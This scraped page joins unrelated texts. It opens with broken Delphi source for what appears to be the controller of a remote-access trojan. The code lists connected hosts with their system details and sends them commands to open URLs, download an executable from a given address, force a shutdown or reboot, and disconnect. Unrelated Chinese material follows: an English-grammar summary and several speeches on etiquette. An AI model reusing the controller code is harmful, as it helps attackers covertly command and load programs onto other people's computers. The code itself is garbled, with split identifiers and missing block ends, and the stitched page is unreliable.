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unit Unit1

unit Unit1
unit Unit1

unit Unit1;

interface

uses

Windows, Messages, SysUtils, Variants, Classes, Graphics, Controls, Forms, Dialogs, SkinData, DynamicSkinForm, Menus, SkinCtrls, SkinExCtrls, ComCtrls, SkinBoxCtrls, SkinMenus, StdCtrls, Mask, IdComponent, IdTCPServer, IdBaseComponent, IdAntiFreezeBase, IdAntiFreeze, IdThreadMgr, IdThreadMgrDefault, ImgList, sppngimagelist;

type

TForm1 = class(TForm)

SkinForm: TspDynamicSkinForm;

SkinData: TspSkinData;

CompressedStoredSkin: TspCompressedStoredSkin;

spSkinMainMenuBar1: TspSkinMainMenuBar;

MainMenu: TspSkinMainMenu;

File1: TMenuItem;

Options1: TMenuItem;

Help1: TMenuItem;

N1: TMenuItem;

Exit1: TMenuItem;

ools1: TMenuItem;

spSkinToolBar1: TspSkinToolBar;

spSkinMenuSpeedButton1: TspSkinMenuSpeedButton;

spSkinSpeedButton2: TspSkinSpeedButton;

spSkinMenuSpeedButton2: TspSkinMenuSpeedButton;

spSkinSpeedButton1: TspSkinSpeedButton;

spSkinStatusBar1: TspSkinStatusBar;

StatusPanel1: TspSkinStatusPanel;

StatusPanel2: TspSkinStatusPanel;

StatusPanel3: TspSkinStatusPanel;

spSkinPanel1: TspSkinPanel;

spSkinPanel2: TspSkinPanel;

HostList: TspSkinListView;

ALLCheck: TspSkinCheckRadioBox;

control: TspSkinComboBox;

PopupMenu1: TspSkinPopupMenu;

xxxxxxxxx1: TMenuItem;

ccccccccccccc1: TMenuItem;

PortEdit: TspSkinEdit;

spSkinLabel1: TspSkinLabel;

IsListenBtn: TspSkinButton;

IdAntiFreeze1: TIdAntiFreeze;

IdTCPServer1: TIdTCPServer;

IdThreadMgrDefault1: TIdThreadMgrDefault;

ImageList1: TImageList;

UNCheck: TspSkinSpeedButton;

procedure FormCreate(Sender: TObject);

procedure IdTCPServer1Connect(AThread: TIdPeerThread);

procedure IdTCPServer1Disconnect(A Thread: TIdPeerThread);

procedure IdTCPServer1Execute(AThread: TIdPeerThread);

procedure IsListenBtnClick(Sender: TObject);

procedure ALLCheckClick(Sender: TObject);

procedure UNCheckClick(Sender: TObject);

procedure OpenUrlClick(Sender: TObject);

procedure Downloaderclick(Sender: TObject);

procedure AdjustToken;

procedure shutdown;

procedure reboot;

procedure controlChange(Sender: TObject);

procedure unconnect;

private

{ Private declarations }

public

{ Public declarations }

end;

TClientSession = Class

ClientSocket: TCustomWinSocket;

CListItem: TListItem;

end;

var

Form1: TForm1;

implementation

{$R *.dfm}

procedure TForm1.FormCreate(Sender: TObject);

begin

//spSkinPanel1.Height:=0;

end;

procedure TForm1.IdTCPServer1Connect(AThread: TIdPeerThread);

begin

A Thread.Connection.MaxLineLength := 1024*1024; //数据时最大缓冲区长度(字节数) A Thread.Connection.WriteLn('MAININFO|' + IntToStr(Athread.Handle));

end;

procedure TForm1.IdTCPServer1Disconnect(A Thread: TIdPeerThread);

begin

if Athread.Data <> nil then

begin

TListItem(Athread.Data).Delete;

end;

try

IdTCPServer1.Threads.LockList.Remove(Athread);

finally

IdTCPServer1.Threads.UnlockList();

end;

end;

procedure TForm1.IdTCPServer1Execute(AThread: TIdPeerThread);

var

Buffer:AnsiString;

Len: integer;

item: TListItem;

ReadBuf:string;

IP,PcnName,OS,Memery,CPU,Mark,Verson:string;

begin

try

Buffer := Trim(Athread.Connection.ReadLn);

except

Athread.Connection.Disconnect;

exit;

end;

Len := Length(Buffer);

if Copy(Buffer, 1, 8) = 'MAININFO' then //上线信息

begin

item := HostList.Items.Add;

item.ImageIndex := 0;

item.Caption := Athread.Connection.Socket.Binding.PeerIP; //IP地址

item.SubItems.Add(' ');

item.SubItems.Add(' ');

item.SubItems.Add(' ');

item.SubItems.Add(' ');

item.SubItems.Add(' ');

item.SubItems.Add(' ');

item.SubItems.Add(' ');

item.SubItems.Objects[0] := Athread;

Athread.Data := item;

ReadBuf := Copy(PChar(Buffer), 10, len);

IP:=Copy(ReadBuf,1,Pos('|',ReadBuf)-1);

Delete(ReadBuf,1,Pos('|',ReadBuf));

PcnName:=Copy(ReadBuf,1,Pos('|',ReadBuf)-1);

Delete(ReadBuf,1,Pos('|',ReadBuf));

OS:=Copy(ReadBuf,1,Pos('|',ReadBuf)-1);

Delete(ReadBuf,1,Pos('|',ReadBuf));

Memery:=Copy(ReadBuf,1,Pos('|',ReadBuf)-1);

Delete(ReadBuf,1,Pos('|',ReadBuf));

CPU:=Copy(ReadBuf,1,Pos('|',ReadBuf)-1);

Delete(ReadBuf,1,Pos('|',ReadBuf));

Mark:=Copy(ReadBuf,1,Pos('|',ReadBuf)-1);

Delete(ReadBuf,1,Pos('|',ReadBuf));

V erson:=Copy(ReadBuf,1,Pos('|',ReadBuf)-1);

Delete(ReadBuf,1,Pos('|',ReadBuf));

Item.SubItems[1] := PcnName ;

Item.SubItems[2] := OS ;

Item.SubItems[3] := Memery ;

Item.SubItems[4] := CPU ;

Item.SubItems[5] := Mark ;

Item.SubItems[6] := Verson ;

end;

end;

procedure TForm1.IsListenBtnClick(Sender: TObject);

var

Athread: TidPeerThread;

i:Integer;

List: TList;

begin

if IsListenBtn.Caption='监听' then

begin

try

IdTCPServer1.DefaultPort := StrToInt(PortEdit.Text);

IdTCPServer1.Active := True;

IsListenBtn.Caption :='停止';

PortEdit.Enabled:=False;

StatusPanel2.Caption:='端口:'+PortEdit.Text;

StatusPanel3.Caption:='状态:监听中';

except

showmessage('监听失败!');

PortEdit.Enabled:=True;

IsListenBtn.Caption :='监听';

end;

Exit;

end;

if IsListenBtn.Caption='停止' then

begin

try

List := IdTCPServer1.Threads.LockList;

for i := 0 to List.Count - 1 do

begin

Athread := TidPeerThread(List.Items[i]);

if Athread.Connection.Connected then

begin

Athread.Suspend;

Athread.Connection.Disconnect;

Athread.FreeOnTerminate := True;

Athread.Terminate;

List[i] := nil;

end;

IdTCPServer1.Threads.Clear;

IdTCPServer1.Threads.UnlockList;

IdTCPServer1.Active := False;

HostList.Clear;

PortEdit.Enabled:=True;

IsListenBtn.Caption :='监听';

StatusPanel3.Caption:='状态:未监听';

end;

except

end;

end;

end;

procedure TForm1.ALLCheckClick(Sender: TObject);

var

i:Integer;

begin

if ALLCheck.Checked then

begin

for i:=0 to HostList.Items.Count-1 do

HostList.Items.Item[i].Checked:=True;

end

else

for i:=0 to HostList.Items.Count-1 do

HostList.Items.Item[i].Checked:=False;

end;

procedure TForm1.UNCheckClick(Sender: TObject);

var

i:Integer;

begin

for i:=0 to HostList.Items.Count-1 do

HostList.Items.Item[i].Checked:=not HostList.Items.Item[i].Checked;

end;

procedure TForm1.unconnect;

var

i:integer;

AThread: TIdPeerThread;

begin

if MessageBox(Handle, '你确定要批量断开连接吗?!', '确认', Mb_YesNo + MB_IconAsterisk) = idYes

then

begin

try

for i:=0 to HostList.Items.Count-1 do

begin

if HostList.Items.Item[i].Checked then

begin

AThread := TidPeerThread(HostList.Items.Item[i].SubItems.Objects[0]);

Athread.Connection.Writeln('SERVIDOR|CERRAR|');

end;

end;

except

end;

end;

end;

procedure Tform1. OpenUrlClick(Sender: TObject);

var

A Thread: TIdPeerThread;

sUrl: string;

i: Integer;

begin

if HostList.Items.Count < 1 then Exit;

sUrl := InputBox('输入网址', '请输入要批量打开的网址:', '');

if Length(sUrl) < 1 then Exit;

sUrl := 'OPENURL' + sUrl + '|';

//for i := 0 to HostList.Items.Count - 1 do //正序

if HostList.Selected.Selected then

begin

A Thread := TidPeerThread(HostList.Selected.SubItems.Objects[0]);

A Thread.Connection.WriteLn(sUrl);

end;

for i := HostList.Items.Count - 1 downto 0 do //倒序

begin

if HostList.Items.Item[i].Checked = True then

begin

AThread := TidPeerThread(HostList.Items.Item[i].SubItems.Objects[0]);

AThread.Connection.WriteLn(sUrl);

end;

end;

end;

procedure Tform1.Downloaderclick(Sender: TObject);

var

CListItem: TListItem;

ClientSession: TClientSession;

StrDownUrls: String;

begin

CListItem := hostlist.Selected;

if Assigned(CListItem) then

begin

StrDownUrls := InputBox('Downloader', 'Input Download Url:', 'https://www.wendangku.net/doc/a77314959.html,/blog/test.exe');

if Length(StrDownUrls) = 0 then Exit;

ClientSession := TClientSession(CListItem.Data);

StrDownUrls := MakeSocketCmd(Client_Download) + StrDownUrls;

ClientSession.ClientSocket.SendText(StrDownUrls);

end;

end;

procedure AdjustToken; //关机权限

var

currToken: THandle;

prevState, newState: TTokenPrivileges;

prevStateLen: Dword;

uid: TLargeInteger;

begin

OpenProcessToken(GetCurrentProcess, TOKEN_ADJUST_PRIVILEGES or TOKEN_QUERY,

currToken);

LookupPrivilegeValue(nil, 'SeShutdownPrivilege', uid);

newState.PrivilegeCount := 1;

newState.Privileges[0].Attributes := SE_PRIVILEGE_ENABLED;

newState.Privileges[0].Luid := uid;

windows.AdjustTokenPrivileges(currToken, false, newState,

SizeOf(TTokenPrivileges), prevState, prevStateLen);

end;

procedure shutdown;

begin

try

AdjustToken;

ExitWindowsEx(EWX_FORCE or EWX_POWEROFF, 0);

except

end;

procedure reboot;

begin

try

AdjustToken;

ExitWindowsEx(EWX_REBOOT or EWX_FORCE, 0 );

except

end;

procedure TForm1.controlChange(Sender: TObject);

begin

case control.ItemIndex of

8:unconnect;

7:OpenUrl; 6:Downloader; 5:shutdown; 4:reboot;

end;

end;

end.

高二英语必修五unit1语法总结

Unit 1 语法重点 一、动词不定式 不定式可以用来做主语、表语、定语、状语、宾语、独立成分,表示比较具体的意义。 (1)做主语 ①动词不定式短语 To master a foreign language is no easy job. To see this film is to waste time. To solve this problem is out of the question ②为平衡整个句子,避免头重脚轻,常用it做形式主语,而将真正主语不定式放后 面,用于这种形式是一些特定的结构。例如: 1)谓语部分是系表结构,表语是某些形容词或名词。例如: It is foolish to do in this way. It sounds reasonable to do it this way. 2)某些动词做谓语时。例如: It took much time to do this. It makes us excited to think about that. (2) 做表语 表示打算、计划、命令和要求,用于appear, seem, happen等系动词后面 Such questions are to be avoided. What he said proved to be true. He seems to be ill. (3) 做定语 做定语时不定式一般紧跟其所修饰名词或代词后面。例如: He was the first one to come this morning. He didn’t have the chance to go to school in the past. 如果不定式是不及物动词时,应注意其相应介词的搭配。例如: He has nothing to worry about. She is a very nice person to work with. (4) 作状语 不定式作状语可以表示目的、原因和结果。 ①表目的常用in order to, so as to,等结构但so as to只能放在主句之后。 Check your homework so as to avoid mistakes. She goes home (in order) to see her grandmother every week. ②表结果常用only to do, enough to do, too…to do等句型,不定式短语作结果状语具有 “意料之外”之意。 He is too excited to speak anything. I hurried to his house, only to find him out. ③原因 She seemed surprised to see us. He is sorry for what he did to think of his past. -不定式作方式状语时,通常采用as if 或 as though + to 的结构,其意为“好像要……”。 He raised his hand as if to hit me. She took out a pen and a piece of paper as though to write something. (5) 做宾语

讲文明懂礼仪演讲稿4篇

讲文明懂礼仪演讲稿4篇Speaking civilization and understanding etiquette 编订:JinTai College

讲文明懂礼仪演讲稿4篇 小泰温馨提示:演讲稿是在较为隆重的仪式上和某些公众场合发表的讲话文稿。演讲稿是进行演讲的依据,对演讲内容和形式的规范和提示,体现着演讲的目的和手段,用来交流思想、感情,表达主张、见解;也可以用来介绍自己的学习、工作情况和经验等等;同时具有宣传、鼓动、教育和欣赏等作用,可以把演讲者的观点、主张与思想感情传达给听众以及读者,使他们信服并在思想感情上产生共鸣。本文档根据演讲稿内容要求展开说明,具有实践指导意义,便于学习和使用,本文下载后内容可随意修改调整及打印。 本文简要目录如下:【下载该文档后使用Word打开,按住键盘Ctrl键且鼠标单击目录内容即可跳转到对应篇章】 1、篇章1:讲文明懂礼仪演讲稿 2、篇章2:关于讲文明礼仪主题演讲稿 3、篇章3:关于讲文明礼仪主题演讲稿 4、篇章4:关于讲文明礼仪主题演讲稿 篇章1:讲文明懂礼仪演讲稿

社会正在进步,时代正在变化,人们的生活水平也正在 提高。作为一个现代社会的公民,我们就必须讲礼仪,有着高素质才能跨进新世纪的门槛,成为一个合格的新时代公民。 古人云:“自修齐,至治平”。不错,要干大事,就必 须先学好礼仪。罗曼罗兰也说过“没有伟大的品格,就没有 伟大的人”。而我们,作为新时代的中学生,正在接受着知识教育,更应该知书达理、举止文明、谈吐得体,提高道德素质、振兴民族精神,建设社会主义精神文明,这样才能学好知识,成为一个有道德修养和综合素质的合格中学生,一个对社会有用的人。就像普列汉若夫所说的“道德的基础并不是对个人的幸福的追求,煞是整体的幸福,即对部落、民族、阶级、人类的幸福的追求。” 一个有高素质、有道德,懂礼仪的人,必定会引来旁人 的赞许和祝福。即使你再怎么不出众,但是你那处处为人民着想,毫无怨恨、纯真的神情,足以让人记住你的名字、记住你这个人。在一个穷困潦倒的乞丐面前,你只要伸进口袋,拿出十分之一或者是百分之一、千分之一的钱给他,就会在他心中默默的为你祝福。在一个已经失去勇气活下去的人面前,你或许只要给他一个对生活充满快乐的微笑,说一句激励他的话,那么就会令他充满对生的希望。在这一瞬间,你的面容也将深

文明礼仪演讲稿3分钟范文5篇

文明礼仪演讲稿3分钟范文5篇 文明礼仪主题演讲稿【一】 古人云:“不学礼,无以立”。就是说,你不学“礼”,就没法在社会中立身。而礼仪则是律己,敬人的一种行为规范,是表现对他人尊重和理解的过程手段。 文明礼仪体现了这个城市的脸面和这个国家的脸面。下面我给大家举几个真实的例子。这是发生在我们学校的事情。一天清早,我们都在兴冲冲的上体育课,当结束体育课站队的时候,有两个同学却没有按体育老师的要求站队,我们看到他们两个同学扭打起来,抱做一团。两个打得脸上都“挂了彩”,我们同学全都围了上去,有的人在儿指指点点;有的人则是不顾一屑;有的人则是热心的劝架。这时体育老师来了,将他们两人硬给拉开了。学校里为什么要出现这样的事呢,我们都应该做文明的好学生吧。学校的一贯作风是“窈窕淑女,翩翩绅士”,我们要懂得文明礼仪,不应该随意出手打人,出口骂人。我们要学习的是真正的文明礼仪,要尊重他人,理解他人,下面我给大家举个真正文明礼仪的例子。 在我四年级的时候,我看过这样一个感动的画面:一天下午我刚进校门,就看见一个小同学进校了还津津有味的吃着零食,一边吃还一边把零食的包装袋撕下随意丢弃,根本不顾及旁边写着“可回收,不可回收”的垃圾箱。在校门口有一位督察员,她亲眼目睹了小同学丢垃圾的过程。只见她的目光在零食包装袋上停了几秒钟,然后四下望望,便快步走向零食包装袋上,把它拾起,丢入垃圾箱。这种良好

的文明礼仪不正是我们要学的吗? 在广播中我听到这样一段话:说的是新加坡,新加坡是一个通用英语的国家,这个国家的公共场所的各种标语大多是用英语书写。但其中的一些文明礼貌的标语,如“不准随地吐痰”、“禁止吸烟”、“不准进入草坪”等却用中文书写。为什么呢?人家回答:“因为有这些不文明行为的大多数是中国大陆的游客。”为此,到新加坡考察的一位中学校长语重心长地说:“不文明行为也是国耻。”不知大家是否记得,中央电视台曾经报道,国庆节后的x场,随处可见口香糖残迹,40万平方米的x场上竟有60万块口香糖残渣,有的地方不到一平方米的地面上,竟有9块口香糖污迹,密密麻麻的斑痕与x场的神圣和庄严形成了强烈反差。 我们要养成良好的文明礼仪:不打架,不骂人。做文明的学生! 文明礼仪主题演讲稿【二】 尊敬的各位老师、亲爱的同学们: 大家好! 我是六(2)班的x,今天我演讲的题目是《校园礼仪》。 当灿烂的阳光绽放你的笑脸,当丝丝微风拂过你的脸颊,同学们,你们是否感到春天到了。春天是美好的,我们在这美好春天的校园里该做些什么呢? 当你踏着轻快的步伐走进学校的时候,你是否会想起那些经常拿着扫帚,埋头辛苦扫地的同学;当你在干净、整洁的校园里漫步的时候,你是否感到那些拖拉机的老爷爷、老奶奶的艰辛?我们知道,春

九年级英语unit1-10语法翻译

1.---你怎样学习英语? 2.---我通过小组学习的方式来学习。 3.---你通过大声朗读学英语? 4.---是的,我是。它有助于我的发音。 5.---我怎样才能读得更快? 6.---你可以通过读意群来读得更快。 7.---我怎样才能改善我的发音? 8.---一种方法是听磁带。 9.我知道泼水节真的很有趣。 10.泼水节多么有趣啊! 11.我想知道他们明年是否还会进行比赛。 12.那些龙舟队真是太棒了! 13.我想知道六月是否是游览香港的好时间。 14.龙舟真漂亮啊! 15.我认为四月是泰国最热的月份。 16.香港的食物真美味啊! 17.---打扰了,你知道我在哪里能买些药吗? 18.---当然。沿着这条街有一家超市。 19.---你能告诉我怎样去邮局吗? 20.---抱歉,我不确定如何去那里。 21.---你能告诉我今晚乐队什么时候开始演奏吗? 22.---晚上八点开始。

23.---我想知道接下来我们应该去哪里。 24.---你们应该试一下那边那个新开的骑乘项目。 25.我过去很矮。我过去在学校里不受欢迎。 26.Paula过去很文静。她过去不喜欢测试。 27.---你过去很矮,不是吗---是的,我是的。 28.他过去戴眼镜吗不,他不带。 29.---你的衬衫是棉质的吗? 30.---是的,它们是的。并且它们是美国制造的。 31.---这个飞机模型是有什么制作的? 32.---它是由用过的木头和玻璃制成的。 33.---在中国哪里产茶? 34.---它产自许多不同的地区。 35.---茶是怎么制成的? 36.---茶树在山坡上种植。当叶子长好了,人们就用手把它们采摘下来,然后送去加 工。 37.---拉链是什么时候被发明的? 38.---它是在1893年被发明的。 39.---它是由谁发明的? 40.---它是由Whitcomb Judson发明的。 41.---茶是什么时候被带到朝鲜的? 42.---它是在6世纪和7世纪期间被带到了朝鲜。 43.---热冰激凌勺是用来干什么的? 44.--她它是用来提供很凉的冰激凌的。

文明礼仪伴我行演讲稿4篇

文明礼仪伴我行演讲稿4篇 大家好,今天我演讲的题目是《文明礼仪伴我行》。 三经中有这样一句话:“为人子,方少时,亲师友,习礼仪。”意思是说:做子女的,年少时就应当学会尊敬师长,亲爱同学,学习人与人之间交往的礼节。 那么,什么是礼仪呢?简单地说文明礼仪不仅是个人素质、教养的体现,也是个人道德和社会公德的观念。 在我们的校园中,也有一些不文明的现象。比如:下课铃声响后,有些男孩儿便横冲直撞地跑出教室,和其他同学大声说笑,有时还说出一两句脏话。还有的同学,可能因为一点口角纷争而不依不饶,甚至拳脚相加。这些不好的风气大家一定要制止、杜绝。 有些同学认为要好做到讲文明,懂礼貌可真难。其实,从许多生活中的小事就能体现出来:在撞到别人时的一声“对不起”;得到帮助时的一声“谢谢”;在和他人告别时的一声“再见”。只不过这些小事微不足道罢了。 文明礼仪不在于嘴上功夫,而是在于真真正正的实践。我想:如果你失去了今天,你不算失败,因为明天会再来;如果你失去了金钱,你不算失败,因为人生的价值不在钱袋;如果,你失去了文明,你是彻彻底底的失败,因为你已失去了做人的真谛。让我们都行动起来,做文明礼仪的小主人,让我们的校园失去粗言,充满欢声笑语,让文明礼仪之花在校园中万紫千红的盛开吧! 有时,一句诚实、有礼貌的语言可平息一场不愉快的争吵;一句粗野污秽的话可导致一场轩然大波。“良言一句三冬暖,恶语伤人六月寒。”就是这个道理。在建设社会主义精神文明的过程中,我们做为二十一世纪的小学生,每个人都要学会使用文雅朴实、健康向上的语言,用文明语言处理人与人之间的关系,真正体现新世纪小学生优秀的精神风貌。 谢谢大家,我的演讲完了。 文明演讲稿:文明礼仪伴我行 在一个国家中个人是主体。对于个人来说什么最重要呢?我想首先应该是具备文明素质,只有当每一个人都具备了文明素质,那么这个国家的整体素质才能提高。 第1 页共17 页

关于礼仪的三分钟演讲稿范文

关于礼仪的三分钟演讲稿范文 关于礼仪的三分钟演讲稿范文 关于礼仪,大家都知道它的含义,但真正能做到讲礼仪,还是有一定 难度的。 下面是小编为大家准备的三分钟演讲稿范文,一起来看看吧! 【篇一】 中华民族是一个有着五千年历史的文明古国,也是一个享誉世界的国 家。 进入社会主义后,在迅速发展的同时,虽然人民的生活水平提高了, 但自然的改变、环境的污染日益却日益严重,不容乐观。 这更危害了人民的身体健康。 这就是人类在创造自己所需的时候,所给生存环境带来的负面影响。 如今,我们都已经是大学生了,在自身的问题上更应该重视文明的体 现。 我们讲文明讲礼仪,主要包括个人的言行、举止和思想表现。 语言的美是心灵善良的体现。 它不等于一个人说话吐露出好听的言辞,使人虚荣,骄傲的话语。 心灵的善良重在助人为乐,使失去生活信心的人变的对生活充满激情; 使思想败坏的人变得思想超前。

语言的美是纯朴的、简洁的,对人有利的,从而不需华丽、高尚的言 辞来修饰。 行为的举止也是内心思想的表现。 有些人不道德、损人利己的想法,他会用一些好的行动来蒙蔽别人, 从而为了达到自己的目的而掩人耳目。 但"要想人不知除非己莫为"总会露出自己行动的破绽,露出他做这件 事内心真实的目的本质。 这种不文明的行为,在政治上野心是非常大的。 真正有利于别人的行为,别人会看在眼里、记在心里敬佩你的,可做 些不文明的行为,即使你付出再大,做得再好,别人也只会看在眼里,在 心底责备你的。 摆在每个人面前的都是现实,只有实事求是、顺从自然,才是文明行 为的体现。 现今,也是一个文化的时代。 懂得文化,才能走进社会的发展中,才能更好地促进人与人之间、国 家与国家之间文化的交流学习和发展。 适应世界的发展,每个国家的文化是一个重要的标志、重要的体现。 如果学些不良的文化,不仅会损害自己,也会损害到别人,给自己、 给别人带来些不必要的伤害。 中华民族的文化渊源流长,要永久的,发展我国的文化传统,也需要 我们的继承和发扬。 社会的发展是文明的,如果你没有做到文明,那你有可能不适应社会

初中文明礼仪演讲稿4篇

初中文明礼仪演讲稿4篇 文明礼仪不是靠一个人遵守的,它靠的是我们大家,一个集体,只要人人都遵守礼仪。下面我了初中文明礼仪演讲稿4篇,供你参考。 初中文明礼仪演讲稿篇一: 我们从小接受文明礼仪的教育,很多同学都可以滔滔不绝地大谈文明礼仪。可是看见校园中随处丢弃的饭盒,饮料瓶,听着某些同学口中吐出的脏话,怎能不教人痛心疾首呢!难道我们都是"语言的巨人,行动的矮人"么?明代大学者王守仁说"知是行的主意,行是知的功夫;知是行之始,行是知之成;知和行是一个本体、一个功夫。知而不行,只是未知。"我们接受文明礼仪的教育,自己却吝于履行、甚至反其道而行之,这跟从来没有接受社会教育有什么区别!所以我们要实践社会文明,就要从这"知行合一"上下功夫、从自己的坐言起行上下功夫,就要告别不文明的行为。 我们不必埋怨这个社会的文明水平不高;不必怨艾自己的力量太单薄,对社会的影响不大。试想一下,面包里的酵母不是很少吗?可是,单凭这一点酵母,不是就把面包发起来了么。我们每一位同学都应该做这个时代的酵母,让自己的酵素,在这个社会起到应有的作用。 同学们,让我们行动起来,"新世纪新时代,新国家新文明",不要让文明下,不要让文明只在纸上出现,要让它活跃在我们当中,让文明无所不在,让我们做文明的主人,让"文明与我同行"! 初中文明礼仪演讲稿篇二: 社会正在进步,时代正在变化,人们的生活水平也正在提高。作为一个现代社会的公民,我们就必须讲礼仪,有着高素质才能跨进新世纪的门槛,成为一个合格的新时代公民。 古人云:"自修齐,至治平"。不错,要干大事,就必须先学好礼仪。罗曼罗兰也说过"没有伟大的品格,就没有伟大的人"。而我们,作为新时代的中学生,正在接受着知识教育,更应该知书达理、举止文明、谈吐得体,提高道德素质、振兴民族精神,建设社会主义精神文明,这样才能学好知识,成为一个有道德修养和综合素质的合格中学生,一个对社会有用的人。就像普列汉若夫所说的"道

关于文明礼仪的演讲稿1000字

篇一:关于文明礼仪的演讲稿 告别陋习,走向文明 尊敬的各位评委老师、同学们,大家下午好,我是xxx班的xxx。今天我演讲的题目是——《文明起,陋习灭》。德国著名文学家歌德曾经说过:“一个人的礼貌就是一面照出他肖像的镜子。”的确,人们总是根据你的言谈举止评价你。因为,礼貌是人类和谐相处的金钥匙,只有拥有它才会幸福、快乐。 我们不必埋怨这个社会的文明水平不高;不必怨艾自己的力量太小,对社会的影响不大。试想一下,面包里的酵母不是很少么?可是,仅仅是这一点酵母,就可以让面包膨胀数倍。所以,我们每一位同学都应该做这个时代的酵母,让自己的酵素,在这个社会起到应有的作用。中国的历史总是被匆忙地翻过去,但问题并没有解决,丰厚的遗产总是包裹着问题被永久寄存,而对未来的奢望必然注定了挫败的宿命。 中国,自古以来就认为自己是礼仪之邦,但现在人们所做的却早已与其不符。 礼仪在人际关系中的作用是显而易见的。首先,礼仪是协调人际关系的基础。人际关系具有互动性。这种互动性表现为思想和行为的互动过程。比如,当你走路时妨碍了对方,你表示歉意后,对方还之你以友好的微笑;当你遭遇天灾人祸时,朋友会伸出友谊之手援助你。再比如,人与人之间的互相原谅、互相谦让等等。其次,礼仪也是人际关系的尺度。人们常以“远”、“近”、“亲”、“疏”来形容人与人之间关系的程度。人与人之间的交往中,往往也根据不同程度,采用不同的礼仪去交往。 乌申斯基曾经说过:好习惯是人在神经系统中存放的资本,这个资本会不断地增长,一个人毕生都可以享用它的利息。而坏习惯是道德上无法偿清的债务,这种债务能以不断增长的利息折磨人,使他最好的创举失败,并把他引到道德破产的地步。 “孔融让梨”——一个大家再也熟悉不过的故事。四岁的孔融之所以使大家敬佩,正是因为他懂得谦让,懂得生活中的点点滴滴,懂得使别人快乐,懂得别人的快乐就是自己最大的幸福。他虽然还是一个四岁的孩子,但是他的那种精神足以让人敬佩一生。比那些满腹经文,却只懂得说,不会做的大人要强上百倍。这件小事之所以会被后人所传颂赞扬,就是因为四岁的孔融做到了道德礼仪。如果一个文化程度很高,但不懂得礼仪的人,那他也是一个对社会毫无用处的人。因为道德常常能填补智慧的缺陷,而智慧却永远也填补不了道德的缺陷。一个有修养的人,不会自夸自大,相反一个无修养、无道德的人,将会到处炫耀自己的功勋。就像宣永光所说的那样“无道德,是狗材。无知识无道德,是弃材。既无知识又无道德反自以为有知识有道德,是杀材。” 文明礼仪,不是一朝一夕能做好的事情。身为一名中学生,我们已经不在是一个孩子了,懂得的事情、道理也不断多了,甚至已超过了一些大人。当然,我们就更应该懂法律、爱祖国、尊师长、礼待人。所以,生活处处有礼仪。我们不仅要在一方面做到文明礼仪,更要在多方面做到文明礼仪。在校园,在家中,在各种公共场所,都不要忘记礼仪。文明礼仪不是靠一个人遵守的,它靠的是我们大家,一个集体,只要人人都遵守礼仪,讲道德,那么世界才会变得更加和谐美好。那么,让我们从现在开始,告别陋习,走向文明。 谢谢。我的演讲到此结束。 养文明习惯,做文明学生 尊敬的各位评委老师、同学们,大家下午好,我是42班的李冬梅。今天我演讲的题目是——《养文明习惯,做文明学生》。 众所周知,我国是世界四大文明古国之一,也是传统的礼仪之邦。“礼仪”也就成为了中华民族上下五千年的显著特色。《中学生日常行为规范》也明确要求:现代中学生要礼貌待人,遵规守纪,严于律己。 如果有人问:一个人成功的关键是拥有一个良好的行为习惯,还是拥有一个好的成绩呢?我

(完整)PEP六年级英语Unit1语法点

A. 好多好多How!! “怎么样?”问情况: 1. How are you? / How is your mother? 2. How is your English class? /How is the weather in Shanghai? 3. How about New York? “多大了”问年纪 1. How old are you?/ How old is your sister? “多少”问数量: 1. How many apples are there on the desk? 2. How many kites can you see? 3. How many people are there in your family? 4. How much money do you have? 5. How much water are there in the cup? “多少钱”问价钱: 1. How much is this dress? 2. How much are they? “怎样”问方式: 1. How do you go to school? 2. How can I get to Zhongshan Park? “多么”表感叹 1. How funny! 2. How nice! B. 英语中的“乘”交通工具 英语中表示交通方式的形式很多,但总的来说,不外乎两种方式,即:用介词和动词来表示。 一、用介词表示。 1. by + 表示交通工具的名词,泛指“乘/坐某种交通工具”,其中名词前无任何修饰语,且只能用单数。如: He came by train, but his wife came by bus.他坐火车来的,但他妻子坐汽车来的。 Travelling by elephant is great fun. 骑象旅行很有趣。 类似的词组还有:by car乘车;by plane乘飞机;by ship乘船;by taxi乘计程车等。 2.in/on + 表示交通工具的名词, 或泛指或特指“乘/坐某种交通工具”,其中名词前常有冠词、物主代词、指示代词或名词所有格等修饰语,名词可以是单数或复数。 ① bus,train,boat,plane,ship等有厢,有舱的名词前,用介词in或on。如: We are going there in/on a bus.我们将乘公共汽车去那里。 (泛指)Don't come here on /in the ship.不要坐船来这里(特) ② bike或motorbike前,只能用介词on。如:

文明礼仪演讲稿4篇

文明礼仪演讲稿4篇Speech of civilization and etiquette 编订:JinTai College

文明礼仪演讲稿4篇 小泰温馨提示:演讲稿是在较为隆重的仪式上和某些公众场合发表的讲话文稿。演讲稿是进行演讲的依据,对演讲内容和形式的规范和提示,体现着演讲的目的和手段,用来交流思想、感情,表达主张、见解;也可以用来介绍自己的学习、工作情况和经验等等;同时具有宣传、鼓动、教育和欣赏等作用,可以把演讲者的观点、主张与思想感情传达给听众以及读者,使他们信服并在思想感情上产生共鸣。本文档根据演讲稿内容要求展开说明,具有实践指导意义,便于学习和使用,本文下载后内容可随意修改调整及打印。 本文简要目录如下:【下载该文档后使用Word打开,按住键盘Ctrl键且鼠标单击目录内容即可跳转到对应篇章】 1、篇章1:文明礼仪演讲稿 2、篇章2:文明礼仪演讲范文 3、篇章3:文明礼仪演讲范文 4、篇章4:文明礼仪演讲范文 篇章1:文明礼仪演讲稿 【文明礼仪演讲稿 450字】 我今天国旗下演讲的题目:是《文明礼仪与我们同行》

对大家来说,文明礼仪就像一些微不足道绊脚石,你可 以不把它放在眼里,也可以每分每秒地关注它。但是对于我来说,文明礼仪不仅反映了一个学生的修养品德,还反映了一个学校的精神面貌。 我记得有人说:“人,一撇一捺,写起来容易做起来难。”我们应该经常性地思考问题,我在做什么,我做得怎样,我要成为一个怎样得人。每个人后面都会有一个答案,答案的起源就是——文明。 文明是什么?是路上相遇时的微笑,是同学有难时的热心 帮助,是见到师长时的一声问好,是平时与人相处时的亲切,是不小心撞到对方时的一声“对不起”,是自觉把垃圾放入垃圾箱时的举动,是看到有人随地吐痰时的主动制止……文明是一种品质,文明是一种道德,文明被所尊重它的人广泛使用,因为这样,所以我们要做个文明之人。 首先要会文明语,还要做文明事。一位名人曾经这样说过:“德行的实现是由行为构成的,而不是文字。”一句温暖的话,一句伤感的话,一句安慰的话,一句可笑的话。每一句话中都能体会到文明。文明礼仪是最容易做到,同时也是生活中最重要的,它比智慧,学习重要的多。“良言入耳三冬暖,恶语伤人六月寒。”文明经常可以代替最真挚的情感。

2020年关于文明礼仪演讲稿6篇

